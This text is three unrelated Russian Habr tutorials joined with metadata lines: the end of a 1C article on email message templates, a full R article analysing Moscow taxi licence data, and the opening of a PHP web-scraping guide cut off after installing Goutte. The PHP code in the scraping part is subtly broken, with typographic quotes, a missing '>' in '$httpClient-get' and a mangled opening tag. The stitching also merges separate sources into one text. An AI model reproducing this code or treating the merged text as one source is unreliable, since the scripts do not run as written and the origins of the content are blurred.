// вернет просто структуру
//СтруктураДляОтправки = ШаблоныСообщений.СформироватьСообщение(Шаблон, Предмет, УИД, );
// отправит письмо и вернет структуру
СтруктураДляОтправки = ШаблоныСообщений.СформироватьСообщениеИОтправить(Шаблон, Предмет, УИД, );
Сообщить("");
КонецПроцедуры
```
Где, **Шаблон** - это наш созданный шаблон, а **Предмет** - это ссылка на документ "**Списание со склада**". Результат выполнения кода - созданное электронное письмо исходящее вот такого вида:
Результат отправки - письмо заполнено по нашему шаблону. В комментарии письма написано, что оно создано по шаблону:
 В комментарии написано по какому шаблону создано. Общий код всей обработки вот такой:
```
&НаКлиенте
Процедура СоздатьШаблон(Команда)
СоздатьШаблонНаСервере();
КонецПроцедуры
&НаСервере
Процедура СоздатьШаблонНаСервере()
ПараметрыШаблона = ШаблоныСообщений.ОписаниеПараметровШаблона();
// Структура:
// Наименование - Строка - наименование шаблона.
// Текст - Строка - текст шаблона.
// Тема - Строка - текст темы электронного письма.
// ТипШаблона - Строка - тип "Письмо" или "SMS".
// Назначение - Строка - Например, Заказ поставщику.
// ПолноеИмяТипаНазначения - Строка - Документ.ЗаказПокупателя параметры доступны все его реквизиты.
// ФорматПисьма - ПеречислениеСсылка.СпособыРедактированияЭлектронныхПисем HTML или ОбычныйТекст.
// УпаковатьВАрхив - Булево - если Истина, Только для шаблонов электронной почты.
// ТранслитерироватьИменаФайлов - Булево - "Schet na oplaty.pdf".
// ФорматыВложений - СписокЗначений - список форматов вложений. Только для шаблонов электронной почты.
// ВладелецШаблона - ОпределяемыйТип.ВладелецШаблонаСообщения - владелец контекстного шаблона.
// ШаблонПоВнешнейОбработке - Булево - если Истина, то шаблон формируется внешней обработкой.
// ВнешняяОбработка - СправочникСсылка.ДополнительныеОтчетыИОбработки - внешняя обработка, в которой содержится шаблон.
// ПодписьИПечать - Булево - добавляет факсимильную подпись и печать в печатную форму. Только для шаблонов
Наименование = "Шаблон - списание товаров";
ПараметрыШаблона.Назначение = "Оповещение - процедура ""Списание товара""";
ПараметрыШаблона.ТипШаблона = "Письмо";
ПараметрыШаблона.ПолноеИмяТипаНазначения = "Документ._ДемоСписаниеТоваров";
ПараметрыШаблона.ФорматПисьма = Перечисления.СпособыРедактированияЭлектронныхПисем.HTML;
ПараметрыШаблона.Тема = "Создано списание [_ДемоСписаниеТоваров.Номер] от [_ДемоСписаниеТоваров.Дата]";
ТестШаблонаСообщения = "Списание [_ДемоСписаниеТоваров.Номер] создано"+Символы.ПС
+"Ответственный [_ДемоСписаниеТоваров.Ответственный]"+Символы.ПС
+"МестоХранения [_ДемоСписаниеТоваров.МестоХранения]"+Символы.ПС
+"Основная организация [_ДемоСписаниеТоваров.Организация]";
ПараметрыШаблона.Текст = ТестШаблонаСообщения;
ПолученныйШаблон = ШаблоныСообщений.СоздатьШаблон(Наименование,ПараметрыШаблона);
КонецПроцедуры
&НаКлиенте
Процедура ОтправитьСообщение(Команда)
ПодготовитьПисьмоПоШаблону();
КонецПроцедуры
&НаСервере
Процедура ПодготовитьПисьмоПоШаблону()
УИД = Новый УникальныйИдентификатор();
Шаблон = ЭтаФорма.ВыбШаблон;
Предмет = ЭтаФорма.ВыбДок;
// вернет просто структуру
//СтруктураДляОтправки = ШаблоныСообщений.СформироватьСообщение(Шаблон, Предмет, УИД, );
// отправит письмо и вернет структуру
СтруктураДляОтправки = ШаблоныСообщений.СформироватьСообщениеИОтправить(Шаблон, Предмет, УИД, );
Сообщить("");
КонецПроцедуры
```
Пожалуй, на этом закончим второй раздел и перейдем к заключению и выводам:
**Заключение и выводы**
Как я и написал во введении, цель данной статьи - это небольшая шпаргалка по созданию собственный шаблонов сообщений, привязка их к любым документам (справочникам) конфигурации и отправка получателям (через электронное письмо исходящее) в рамках типовых методов библиотеки стандартных подсистем.
В статье рассмотрены основы функционала, который можно применять в современных типовых конфигурациях. Я думаю, что данный материал будет полезен всем желающим - всем, кто хочет разобраться в этих модулях - подсистеме "**Шаблоны сообщений**". Развитие практики этого функционала оставляю на ваше усмотрение.
Обратите внимание на другие мои "чисто-практические статьи" по современному функционалу библиотеки стандартных подсистем, написанных мной ранее. Статьи будут так же полезны вам на практике. | https://habr.com/ru/post/708350/ | null | ru | null |
# Анализ и визуализация реальных табличных данных в R
Материал будет полезен тем, кто осваивает язык R в качестве инструмента анализа табличных данных и хочет увидеть сквозной пример реализации основных шагов обработки.
Ниже демонстрируется загрузка данных из csv-файлов, разбор текстовых строк с элементами очистки данных, агрегация данных по аналитическим измерениям и построение диаграмм.
В примере активно используется функциональность пакетов data.table, reshape2, stringdist и ggplot2.
В качестве «реальных данных» взята информация о выданных разрешениях на осуществление деятельности по перевозке пассажиров и багажа легковым такси в Москве. Данные предоставлены в общее пользование Департаментом транспорта и развития дорожно-транспортной инфраструктуры города Москвы. Страница набора данных [data.mos.ru/datasets/655](http://data.mos.ru/datasets/655)
Исходные данные имеют следующий формат:
```
ROWNUM;VEHICLE_NUM;FULL_NAME;BLANK_NUM;VEHICLE_BRAND_MODEL;INN;OGRN
1;"А248УЕ197";"ООО «ТАКСИ-АВТОЛАЙН»";"017263";"FORD FOCUS";"7734653292";"1117746207578"
2;"А249УЕ197";"ООО «ТАКСИ-АВТОЛАЙН»";"017264";"FORD FOCUS";"7734653292";"1117746207578"
3;"А245УЕ197";"ООО «ТАКСИ-АВТОЛАЙН»";"017265";"FORD FOCUS";"7734653292";"1117746207578"
```
```
##### 1. Загрузка первичных данных
Данные можно загружать непосредственно с сайта. В процессе загрузки сразу переименуем колонки удобным образом.
```
url <- "http://data.mos.ru/datasets/download/655"
colnames = c("RowNumber", "RegPlate", "LegalName", "DocNum", "Car", "INN", "OGRN", "Void")
rawdata <- read.table(url, header = TRUE, sep = ";",
colClasses = c("numeric", rep("character",6), NA),
col.names = colnames,
strip.white = TRUE,
blank.lines.skip = TRUE,
stringsAsFactors = FALSE,
encoding = "UTF-8")
```
Теперь можно приступать к анализу и визуализации…
##### 2. Преобразование данных
Предположим, что необходимо проанализировать распределение количества зарегистрированных в качестве такси автомобилей, в зависимости от организационной формы лицензиата и от марки автомобиля. Соответствующие данные не выделены отдельно, но вся нужная информация содержится в полях FULL\_NAME (переименовано в LegalName) и VEHICLE\_BRAND\_MODEL (Car).
В процессе преобразования исходных данных необходимо
* из поля LegalName выделить организационно-правовую форму в отдельное поле OrgType;
* из поля Car выделить марку машины в отдельное поле CarBrand;
* отбросить неиспользуемые поля.
Для простоты считаем, что первые слова полей LegalName и Car составляют, соответственно, организационно-правовую форму и марку машины (ниже будет понятно, что делать с исключениями). Ненужные поля будут отброшены автоматически в процессе преобразования data.frame в data.table с явным указанием списка переносимых полей.
```
ptn <- "^(.+?) (.+)$" # regexp pattern to match first word
dt <- data.table(rawdata)[,
list(RegPlate, LegalName, Car, OGRN,
OrgType = gsub(ptn, "\\1" , toupper( LegalName )),
CarBrand = gsub(ptn, "\\1", toupper( Car )))
]
rm(rawdata) # Clear some memory
```
##### 3. Первые итоги
Проверим, какие организационные формы были выделены из данных.
```
sort( table(dt$OrgType) )
```
```
## НП ОАО ЗАО ООО ИП
## 1 392 649 17118 17680
```
Данные сформированы вполне корректно: по количеству полученных лицензий лидируют индивидуальные предприниматели (снижение налоговой нагрузки?), есть общества с ограниченной ответственностью, открытые и закрытые акционерные общества и даже одно некоммерческое партнерство.
Для того, чтобы определить, сколько независимых *лицензиатов* (а не автомобилей) получили лицензию, в зависимости от организационно-правовой формы, необходимо провести суммирование по полю, уникально характеризующему юридическое лицо (ОГРН).
```
dt[, list( N = length( unique(OGRN) ) ), by = OrgType][order(N, decreasing = TRUE)]
```
```
## OrgType N
## 1: ИП 12352
## 2: ООО 563
## 3: ЗАО 14
## 4: ОАО 6
## 5: НП 1
```
#### Очистка данных
Автомобили каких марок используются в качестве такси в Москве?
В наборе данных представлено немало марок автомобилей: 115, но действительно ли они все уникальные? Для примера выведем все марки, начинающиеся на букву «M».
```
sort( unique( dt[grep("^M.*", CarBrand), CarBrand]))
```
```
## [1] "M214" "MASERATI" "MAZDA"
## [4] "MAZDA-" "MERCEDES" "MERCEDES-BENZ"
## [7] "MERCEDES-BENZ-" "MERCEDES-BENZ-S500" "MERCEDES-BENZC"
## [10] "MERCEDES-BENZE200K" "MERCEDES-BENZE220CDI" "MERCEDES-BЕNZ"
## [13] "MERCERDES-BENZ" "MERCRDES" "MERCRDES-BENZ"
## [16] "MERSEDES-" "MERSEDES-BENZ" "METROCAB"
## [19] "MG" "MINI" "MITSUBISHI"
```
К сожалению, большое число марок машин во многом обусловлено ошибками в данных. К примеру, одна и та же марка — MERCEDES-BENZ — встречается под различными именами. Перед анализом данные необходимо очистить.
Программная основа для очистки текстовой информации — функции поиска «расстояния между строками». Для каждой пары строк они вычисляют метрику, характеризующую трудоемкость преобразования одной строки в другую с помощью операций над буквами. Чем более похожи строки, тем меньше требуется операций. В идеале одинаковые строки должны иметь расстояние, равное нулю, а максимально непохожие — единице. Именно так и работает алгоритм Jaro-Winkler функции stringdist одноименного пакета.
Сравним несколько строк, только посчитаем не расстояние, а похожесть, 1-stringdist.
```
1 - stringdist( c("MERCEDES","MERSEDES","MAZDA","RENAULT","SAAB"), "MERCEDES", method = "jw", p = 0.1)
```
```
## [1] 1.0000 0.9417 0.5950 0.3452 0.0000
```
На первый взгляд задача очистки данных решается просто: для каждой записи достаточно выбрать наиболее похожее значение из справочника. К сожалению, такой подход не всегда работает. Во-первых, справочника может не быть (как в текущем случае). Во-вторых, некоторые ситуации требуют ручной коррекции данных, даже при наличии точного справочника. Например, с точки зрения метода три марки одинаково подходят в качестве альтернативы неверному значению «BAZ»:
```
1 - stringdist("BAZ", c("VAZ", "UAZ", "ZAZ"), method = "jw", p = 0.1)
```
```
## [1] 0.7778 0.7778 0.7778
```
Ниже использован полуавтоматический метод коррекции, позволяющий существенно облегчить труд специалиста по очистке данных за счет программной генерации вариантов исправлений, с которыми аналитик может либо согласиться, либо вручную поправить.
Предполагается, что в большом объеме данных с малым количеством ошибок часто встречающиеся значения — корректные, а редко встречающиеся — ошибки. Частоты значений используются в качестве весового коэффициента, пропорционально увеличивая метрику близости строк. Чтобы часто встречающиеся марки машин не выходили вперед за счет количества, а не похожести, учитываются только метрики значений со степенью похожести выше порогового значения `t` (о выборе `t` позже). Для каждого возможного значения марки машины, таким образом, определяется рекомендованное «справочное» значение из того же набора данных. Пары «марка — предложенное исправление» выводятся в csv-файл. После анализа и внесения исправлений скорректированный csv-файл загружается и служит словарем.
Начнем с конструирования функции, возвращающей наилучшее соответствие на имеющемся наборе данных.
```
bestmatch.gen <- function(wc, t = 0){
# wc = counts of all base text words
# t = threshold: only the words with similarity above threshold count
bestmatch <- function(a){
sim <- 1 - stringdist( toupper(a), toupper( names(wc) ) , method = "jw", p = 0.1 )
# Compute weights and implicitly cut off everything below threshold
weights <- sim * wc * (sim > t)
# Return the one with maximum combined weight
names( sort(weights, decr = TRUE)[1] )
}
bestmatch
}
```
Пороговое значение `t` подбирается опытным путем. Вот пример работы функции для порогового параметра t = 0.7.
```
bm07 <- bestmatch.gen( table( dt$CarBrand), t = 0.7 )
s <- c("FORD","RENO","MERS","PEGO")
sapply(s, bm07)
```
```
## FORD RENO MERS PEGO
## "FORD" "RENAULT" "MERCEDES-BENZ" "PEUGEOT"
```
На первый взгляд, все сработало чудесно. Однако радоваться рано. Хорошо представленные в наборе данных марки машин с похожими названиями могут «перетягивать на себя» другие корректные названия.
```
s <- c("HONDA", "CHRYSLER", "VOLVO")
sapply(s, bm07)
```
```
## HONDA CHRYSLER VOLVO
## "HYUNDAI" "CHEVROLET" "VOLKSWAGEN"
```
Попробуем повысить пороговое значение t.
```
bm09 <- bestmatch.gen( table( dt$CarBrand), t = 0.9 )
s <- c("HONDA","CHRYSLER","VOLVO")
sapply(s, bm09)
```
```
## HONDA CHRYSLER VOLVO
## "HONDA" "CHRYSLER" "VOLVO"
```
Все в порядке? Почти. Слишком жесткое отсечение непохожих строк приводит к тому, что алгоритм считает некоторые ошибочные значения корректными. Подобные ошибки придется исправить вручную.
```
s <- c("CEAT", "CVEVROLET")
sapply(s, bm09)
```
```
## CEAT CVEVROLET
## "CEAT" "CVEVROLET"
```
Теперь все готово для формирования файла словаря уникальных значений марок машин. Так как файл нужно будет править руками, удобно, если в нем будут дополнительные поля, показывающие, отличается ли предложенная замена от исходного значения (это не всегда очевидно), насколько часто встречается название марки, а также метка, привлекающая внимание к записи в зависимости от каких-то статистических характеристик набора. В данном случае мы хотим выловить ситуации, в которых алгоритм предлагает редко встречающиеся (предположительно ошибочные) значения в качестве корректных.
```
ncb <- table(dt$CarBrand)
scb <- names(ncb) # Source Car Brands
acb <- sapply(scb, bm09) # Auto-generated replacement
cbdict_out <- data.table(ncb)[,list(
SourceName = scb,
AutoName = acb,
SourceFreq = as.numeric(ncb),
AutoFreq = as.numeric( ncb[acb] ),
Action = ordered( scb == acb, labels = c("CHANGE","KEEP")),
DictName = acb
)]
# Add alert flag
# Alert when suggested is a low-frequency dictionary word
cbdict_out <- cbdict_out[,
Alert := ordered( AutoFreq <= quantile(AutoFreq, probs = 0.05, na.rm = TRUE),
labels = c("GOOD","ALERT"))
]
write.table( cbdict_out[ order(SourceName),
list( Alert, Action, SourceName, AutoName, SourceFreq, AutoFreq, DictName) ],
"cbdict_out.txt", sep = ";", quote = TRUE,
col.names = TRUE, row.name = FALSE, fileEncoding = "UTF-8")
```
Необходимо проверить и отредактировать значения поля DictName и сохранить файл под именем «cbdict\_in.txt» для последующей загрузки.
Анализируемый набор данных имеет особенности, на которые стоит обратить внимание:
* некоторые строки не содержат марки машины — пусто или «НЕТ», а некоторые модели сложно однознвчно идентицифировать: L1H1, M214; вручную меняем на UNKNOWN или аналогичное псевдо-значение;
* равноправно применяется два варианта написания: MERCEDES и MERCEDES-BENZ, оставляем одно, MERCEDES-BENZ;
* есть два визуально одинаковых независимых написания ZAZ (в выводе две строки, и обе ллгоритм предлагает сохранить как верные, Action = KEEP); видимо, где-то вкралась буква с другим кодом UTF-8;
* некоторые названия машин не содержат марки, а тольмко модель: SAMAND (IRAN KHODRO)
* неразбериха с марками TAGAZ — VORTEX и JAC; предлагается для простоты присвоить (пусть не совсем корректно) общее название TAGAZ машинам, чьи марки определились как TAGAZ, A21, SUV, SUVT11, VORTEX, JAC.
Помимо особенностей данных есть ограничения алгоритма, которые нужно корректировать вручную. * алгоритм предлагает некоторые ошибочные названия в качестве корректных альтернатив: CEAT, CVEVROLET;
* марки состоящие из двух слов, сокрашаются до одного: ALFA (ALFA ROMEO), GREAT (GREAT WALL), IRAN (IRAN KHODRO), LAND (LAND ROVER).
Отредактированные данные загружаем из файла [cbdict\_in.txt](https://raw.githubusercontent.com/avidclam/mostaxiR/master/cbdict_in.txt).
```
if ( file.exists("cbdict_in.txt")) url <- "cbdict_in.txt" else url <- "cbdict_out.txt"
cbdict_in <- read.table( url, header = TRUE, sep = ";",
colClasses = c( rep("character",4), "numeric", "numeric", "character"),
encoding = "UTF-8")
cbdict <- cbdict_in$DictName
names(cbdict) <- cbdict_in$SourceName
```
И исправляем значения марок машин в таблице данных.
```
dt[, CarBrand := cbdict[CarBrand]]
dt[is.na(CarBrand), CarBrand := "UNKNOWN"]
```
После очистки уникальных значений марок машин стало меньше практически в два раза
```
length( unique(dt$CarBrand) )
```
```
## [1] 72
```
#### Ответы на аналитические вопросы
##### 1. Top 10 организаций
Определим 10 наиболее крупных таксопарков. В данном случае необходимо построить рейтинг по одному измерению — ОГРН.
```
st <- dt[, list( NumCars = length(RegPlate)), by = list(OGRN, LegalName) ]
head( st[order( NumCars, decreasing = TRUE)], 10)
```
```
## OGRN LegalName NumCars
## 1: 1137746197104 ООО «СОЛТ» 866
## 2: 1037727000893 ООО «СТИЛЬ-МОТОРС» 751
## 3: 1067746273198 ООО «РИТМ ЖИЗНИ» 547
## 4: 1037789018849 ООО «ТАКСИ» 541
## 5: 1127746010700 ООО «ТАКСИ-24 М» 406
## 6: 1057748223653 ООО «ЕВРОТРАНССЕРВИС» 349
## 7: 5067746596297 ООО «АВТОРЕЙС» 288
## 8: 1027739272175 ОАО «14 ТМП» 267
## 9: 1137746133250 ООО «СИТИ СЕРВИС» 255
## 10: 5077746757688 ООО «ЦПК» 238
```
К сожалению, в рассматриваемом наборе данных хранится только юридическая информация о лицензиатах, а не торговая марка. В Интернете возможно по названию организации и ОГРН найти, под каким брендом работает таксопарк, но это процесс не автоматический и довольно трудоемкий. Результаты поиска наиболее крупных таксопарков собраны в файле "[top10orgs.csv](https://raw.githubusercontent.com/avidclam/mostaxiR/master/top10orgs.csv)".
```
top10orgs <- data.table( read.table( "top10orgs.csv",
header = TRUE, sep = ";", colClasses = "character", encoding = "UTF-8"))
```
Воспользуемся встроенными возможностями data.table по проведению операции JOIN двух таблиц.
```
setkey(top10orgs,OGRN)
setkey(st,OGRN)
st[top10orgs][order(NumCars, decreasing = TRUE), list(OrgBrand, EasyPhone, NumCars)]
```
```
## OrgBrand EasyPhone NumCars
## 1: СОЛТ 781 81 82 866
## 2: Такси956 956 8 956 751
## 3: Такси-Ритм 641 11 11 547
## 4: Городское Такси 500 0 500 541
## 5: Такси24 777 66 24 406
## 6: Формула такси 777 5 777 349
## 7: Новое желтое такси 940 88 88 288
## 8: 14 Таксопарк 707 2 707 267
## 9: Cabby 21 21 989 255
## 10: Глававтопрокат 927 11 11 238
```
##### 2. Три наиболее популярные автомарки, в зависимости от формы юридического лица
Какие марки машин наиболее популярны, в зависимости от юридической формы лицензиата? Для ответа на этот вопрос нужно провести агрегацию данных по двум измерениям — марка машины и оргформа.
Процесс идет в три этапа:
1. Вычисление агрегированного показателя (в данном случае число машин по ОГРН).
2. Вычисление ранга.
3. Ограничение ранга (top 3), сортировка, перераспределение колонок и вывод данных.
```
st <- dt[, list(AGGR = length(RegPlate)), by = list(OrgType, CarBrand) ]
st.r <- st[, list(CarBrand, AGGR,
r = ( 1 + length(AGGR) - rank(AGGR, ties.method="first"))),
by = list(OrgType)] # ranking by one dimension
st.out <- st.r[ r <= 3 ][, list(r, OrgType, cval = paste0(CarBrand," (",AGGR,")"))]
dcast(st.out, r ~ OrgType, value.var = "cval")[-1] # reshape data and hide r
```
```
## ЗАО ИП НП ОАО ООО
## 1 FORD (212) CHEVROLET (2465) VOLVO (1) KIA (192) FORD (3297)
## 2 RENAULT (175) FORD (2238) CHEVROLET (115) RENAULT (2922)
## 3 HYUNDAI (122) RENAULT (1996) FORD (53) HYUNDAI (2812)
```
#### Визуализация
##### 1. Отображение данных в виде круговой диаграммы
Круговая (секторная) диаграмма, Pie Chart, весьма популярна в бизнес-среде, но подвергается обоснованной критике профессионалами анализа данных. Тем не менее, ее нужно уметь «готовить».
Пусть требуется отобразить распределение числа лицензий такси, по автомаркам. Чтобы не перегружать диаграмму покажем только марки с количеством лицензий не меньше 1000.
```
st <- dt[, list(N = length(RegPlate)), by = CarBrand ] # Summary table
st <- st[, CarBrand := reorder(CarBrand, N) ]
piedata <- rbind(
st[ N >= 1000 ][ order(N, decreasing=T) ],
data.table( CarBrand = "Другие марки", N = sum( st[N < 1000]$N) )
)
piedata
```
```
## CarBrand N
## 1: FORD 5800
## 2: RENAULT 5093
## 3: HYUNDAI 4727
## 4: CHEVROLET 4660
## 5: KIA 2220
## 6: SKODA 2073
## 7: NISSAN 1321
## 8: VOLKSWAGEN 1298
## 9: TOYOTA 1075
## 10: MERCEDES-BENZ 1039
## 11: Другие марки 6534
```
Для построения графика хотелось бы зафиксировать именно такой порядок следования марок. Если этого не сделать, то автоматическая сортировка выведет «Другие марки» с последнего места на первое.
```
piedata <- piedata[, CarBrand := factor(CarBrand, levels = CarBrand, ordered = TRUE)]
```
Для построения диаграммы используем ggplot2.
```
pie <- ggplot(piedata, aes( x = "", y = N, fill = CarBrand)) +
geom_bar(stat = "identity") +
coord_polar(theta = "y")
pie
```

Вывод уже достаточно информативен. Однако хотелось бы внести ряд визуальных улучшений:
* убрать серый фон, границы, круговую ось, подписи и отметки;
* выбрать более различимую цветовую шкалу и обвести каждый «кусок пирога»;
* рядом с каждым сектором проставить число лицензий, соотвествующее марке;
* дать текстовое название легенде.
Код ниже позволяет сделать все перечисленное. Для отображения надписей рядом с секторами пришлось добавить поле с расчетом точки центра сектора (подсмотрено у [artelstatistikov.ru](http://artelstatistikov.ru/r/krugovaya-diagramma-v-r-c-pomoshh-yu-ggplot-krasny-e-zelyony-e-zolotopogonny-e.html)).
```
piedata <- piedata[, pos := cumsum(N) - 0.5*N ]
pie <- ggplot(piedata, aes( x = "", y = N, fill = CarBrand)) +
geom_bar( color = "black", stat = "identity", width = 0.5) +
geom_text( aes(label = N, y = pos), x = 1.4, color = "black", size = 5) +
scale_fill_brewer(palette = "Paired", name = "Марки авто") +
coord_polar(theta = "y") +
theme_bw() +
theme ( panel.border = element_blank()
, panel.grid.major = element_blank()
, axis.ticks = element_blank()
, axis.title.x = element_blank()
, axis.title.y = element_blank()
, axis.text.x = element_blank()
, legend.title = element_text(face="plain", size=16)
)
pie
```
##### 2. Столбчатая диаграмма
Более информативная альтернатива кругу — столбчатая диаграмма, Bar Chart. Помимо того, что длины столбиков удобнее сравнивать, чем длины дуг или площади секторов круга, столбчатая диаграмма может дополнительно отобразить, например, распределении числа лицензий по оргформам.
```
st <- dt[, list(N = length(RegPlate)), by = list(OrgType, CarBrand) ] # Summary table
cbsort <- st[, list( S = sum(N) ), keyby = CarBrand ] # Order by total number
setkey(st, CarBrand)
st <- st[cbsort] # Join
topcb <- st[ S >= 1000 ][ order(S) ]
bottomcb <- st[S < 1000, list(CarBrand = "Другие марки", OrgType, N = sum(N)), by = OrgType]
bottomcb <- bottomcb[, list(CarBrand, OrgType, N, S = sum(N))]
bardata <- rbind( bottomcb, topcb)
bardata <- bardata[, CarBrand := factor(CarBrand, levels = unique(CarBrand), ordered=T)]
#
bar <- ggplot(bardata, aes(x = CarBrand, weight = N, fill = OrgType)) +
geom_bar() + coord_flip() +
scale_fill_brewer(palette = "Spectral", name = "Оргформа") +
labs(list(y = "Количество лицензий", x = "Марки автомобилей")) +
theme_bw()
bar
```

##### 3. Диаграмма Heat Map (Теплокарта)
Предположим, требуется получить ответ на вопрос: «Хозяева каких марок машин (среди таксистов) больше всего подвержены моде на «красивые» номера?». Красивыми в данном случае будем считать номера с одинаковыми цифрами в тройках: 111, 222 и т.д.
Анализ ведется по двум аналитическим измерениям — марка машины и тройка. Показатель — количество машин с заданным сочетанием марки и тройки. Для визуализации такого набора данных хорошо подходит визуальный аналог таблицы — диаграмма heat map. Чем более популярна тройка, тем более интенсивный цвет кодирует значение ячейки.
```
ln <- dt[grep( "^[^0-9]([0-9])\\1{2}.+$" , RegPlate),
list(CarBrand, LuckyNum = gsub("^[^0-9]([0-9]{3}).+$","\\1", RegPlate))]
ln <- ln[, list( N = .N), by = list(CarBrand, LuckyNum) ]
ln <- ln[, Luck := sum(N), by = list(CarBrand) ] # Total number of lucky regplates per car brand
ln <- ln[, CarBrand := reorder(CarBrand, Luck) ]
#
heatmap <- ggplot(ln, aes(x = CarBrand, y = LuckyNum)) +
geom_tile( aes(fill = as.character(N)), color = "black") +
scale_fill_brewer(palette = "YlOrRd", name = "Число «красивых» номеров:") +
labs(list(x = "Марки автомобилей", y = "Номерные тройки")) +
theme_bw() +
theme ( panel.grid.major = element_blank()
, axis.text.x = element_text(angle = 45, hjust = 1)
, axis.title.y = element_text(vjust = 0.3)
, legend.position = "top"
, legend.title.align = 1
)
heatmap
```

Во всех диаграммах использованы научно обоснованные цветовые палитры проекта [Color Brewer 2.0](http://colorbrewer2.org). | https://habr.com/ru/post/217963/ | null | ru | null |
# Веб-скрейпинг на PHP

Термин *web scraping* означает извлечение информации из веб-страниц в интернете. Его ещё называют *web crawling* или *web data extraction*.
PHP широко используется в качестве серверного скриптового языка для создания динамических сайтов и веб-приложений. И на нём можно написать веб-скрейпер. Но поскольку мы не хотим изобретать колесо, можно воспользоваться готовыми open-source библиотеками для веб-скрейпинга. Кстати, мы также написали отличную статью про [веб-скрейпинг с помощью Node.js](https://www.scrapingdog.com/blog/web-scraping-101-with-nodejs.html) и [с помощью Python](https://www.scrapingdog.com/blog/web-scraping-with-python.html), почитайте. А здесь мы обсудим разные инструменты и сервисы, которые можно использовать с PHP для скрейпинга веб-страниц: Guzzle, Goutte, Simple HTML DOM, Headless-браузер Symfony Panther.
Вот что нам потребуется для работы:
* Установите последнюю версию PHP.
* Скачайте [Composer](https://getcomposer.org/) и настройте его для установки разных PHP-зависимостей для библиотек веб-скрейпинга.
* Выберите редактор по вкусу.
После этого создайте директорию проекта и перейдите в неё:
```
mkdir php_scraper
cd php_scraper
```
Выполните в терминале эти две команды для инициализации composer.json:
```
composer init — require=”php >=7.4" --no-interaction
composer update
```
Приступим.
1. Веб-скрейпинг на PHP с использованием Guzzle, XML и XPath
------------------------------------------------------------
[Guzzle](http://docs.guzzlephp.org/en/stable/) — это HTTP-клиент для PHP, позволяющий легко отправлять HTTP-запросы. Он предоставляет простой интерфейс для написания строк запросов. [XML](https://ru.wikipedia.org/wiki/XML) — язык разметки для представления документов в удобочитаемом для человека и компьютера формате. [XPath](https://ru.wikipedia.org/wiki/XPath) — это язык запросов для навигации и выбора XML-узлов.
Посмотрим, как можно использовать эти инструменты для скрейпинга сайта. Начнём с установки Guzzle через Composer, выполним в терминале команду:
```
composer require guzzlehttp/guzzle
```
После установки Guzzle создадим новый PHP-файл guzzle\_requests.php, в который будем добавлять код. Для примера спарсим сайт [Books to Scrape](https://books.toscrape.com/), другие сайты вы сможете скрейпить действуя аналогично. *Books to Scrape* выглядит так:

Нам нужно извлечь названия книг и отобразить их в терминале. Первым делом нужно разобраться в HTML-макете. В этом случае его можно посмотреть, кликнув правой кнопкой над списком книг и выбрав пункт *Inspect*. Скриншот исходного кода страницы:

Внутри элемента `<оl class=”rоw”>` находится список. Следующий дочерний элемент — `li`. Нам нужно название книги, оно записано внутри `а`, внутри `h3`, внутри `article`, и наконец внутри элемента `li`. Чтобы инициализировать Guzzle, XML и Xpath добавьте в guzzle\_requests.php такой код:
```
php#
scraping books to scrape: https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = new \GuzzleHttp\Client();
$response = $httpClient-get(‘https://books.toscrape.com/');
$htmlString = (string) $response->getBody();
//add this line to suppress any warnings
libxml_use_internal_errors(true);
$doc = new DOMDocument();
$doc->loadHTML($htmlString);
$xpath = new DOMXPath($doc);
```
Этот код скачивает страницу в виде строки, затем парсит её с помощью XML и присваивает переменной `$xpath`. Теперь нужно указать целевой текст внутри тега `a`. Добавим в файл
```
$titles = $xpath->evaluate(‘//ol[@class="row"]//li//article//h3/a’);
$extractedTitles = [];
foreach ($titles as $title) {
$extractedTitles[] = $title->textContent.PHP_EOL;
echo $title->textContent.PHP_EOL;
}
```
В этом коде `//ol[@class="row"]` получает весь список. У каждого элемента списка есть тег `a`, который нас интересует для извлечения названий книг. Только тег `h3` содержит `a`, это облегчает работу с ним. Для извлечения текстовой информации и её отображения в терминале воспользуемся циклом `foreach`. На этом этапе вы можете что-нибудь сделать с извлечёнными данными, например, присвоить их переменной массива, записать в файл или сохранить в БД. Вы можете выполнить файл с помощью PHP в терминале, запустив приведённую ниже команду.
```
php guzzle_requests.php
```
На экране должно появиться вот что:

Работает. А что если теперь нам нужно получить стоимость книг?

Цена находится в теге `p` внутри тега `div`. В коде страницы несколько тегов `p` и несколько `div`. Чтобы найти нужные, мы воспользуемся селекторами классов CSS, которые, к счастью, уникальны для каждого тега. Вот код получения тега цен и конкатенации его со строкой заголовка:
```
$titles = $xpath->evaluate(‘//ol[@class=”row”]//li//article//h3/a’);
$prices = $xpath->evaluate(‘//ol[@class=”row”]//li//article//div[@class=”product_price”]//p[@class=”price_color”]’);
foreach ($titles as $key => $title) {
echo $title->textContent . ‘ @ ‘. $prices[$key]->textContent.PHP_EOL;
}
```
Если исполнить код в терминале, то получим:

Ваш код должен выглядеть так:
```
php
# scraping books to scrape:https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = new \GuzzleHttp\Client();
$response = $httpClient-get(‘https://books.toscrape.com/');
$htmlString = (string) $response->getBody();
//add this line to suppress any warnings
libxml_use_internal_errors(true);
$doc = new DOMDocument();
$doc->loadHTML($htmlString);
$xpath = new DOMXPath($doc);
$titles = $xpath->evaluate(‘//ol[@class=”row”]//li//article//h3/a’);
$prices = $xpath->evaluate(‘//ol[@class=”row”]//li//article//div[@class=”product_price”]//p[@class=”price_color”]’);
foreach ($titles as $key => $title) {
echo $title->textContent . ‘ @ ‘. $prices[$key]->textContent.PHP_EOL;
}
```
Конечно, это лишь базовый веб-скрейпер, его можно улучшить. Перейдём к следующей библиотеке.
2. Веб-скрейпинг на PHP с использованием Goutte
-----------------------------------------------
[Goutte](https://github.com/FriendsOfPHP/Goutte) — ещё один прекрасный HTTP-клиент для PHP, созданный специально для веб-скрейпинга. Его разработал автор фреймворка [Symfony](https://symfony.com/), он предоставляет хороший API для извлечения данных из HTML/XML-ответов сайтов. Вот некоторые компоненты клиента для упрощений скрейпинга:
* [BrowserKit](https://symfony.com/doc/current/components/browser_kit.html) для симуляции поведения браузера.
* [CssSelector](https://symfony.com/doc/current/components/css_selector.html) для перевода CSS-запросов в XPath-запросы.
* [DomCrawler](https://symfony.com/doc/current/components/dom_crawler.html) позволяет использовать DOMDocument и XPath.
* [Symfony HTTP-клиент](https://symfony.com/doc/current/http_client.html) — новый компонент от команды Symfony.
Установим Goutte через Сomposer, выполнив в терминале:
```
composer require fabpot/goutte
```
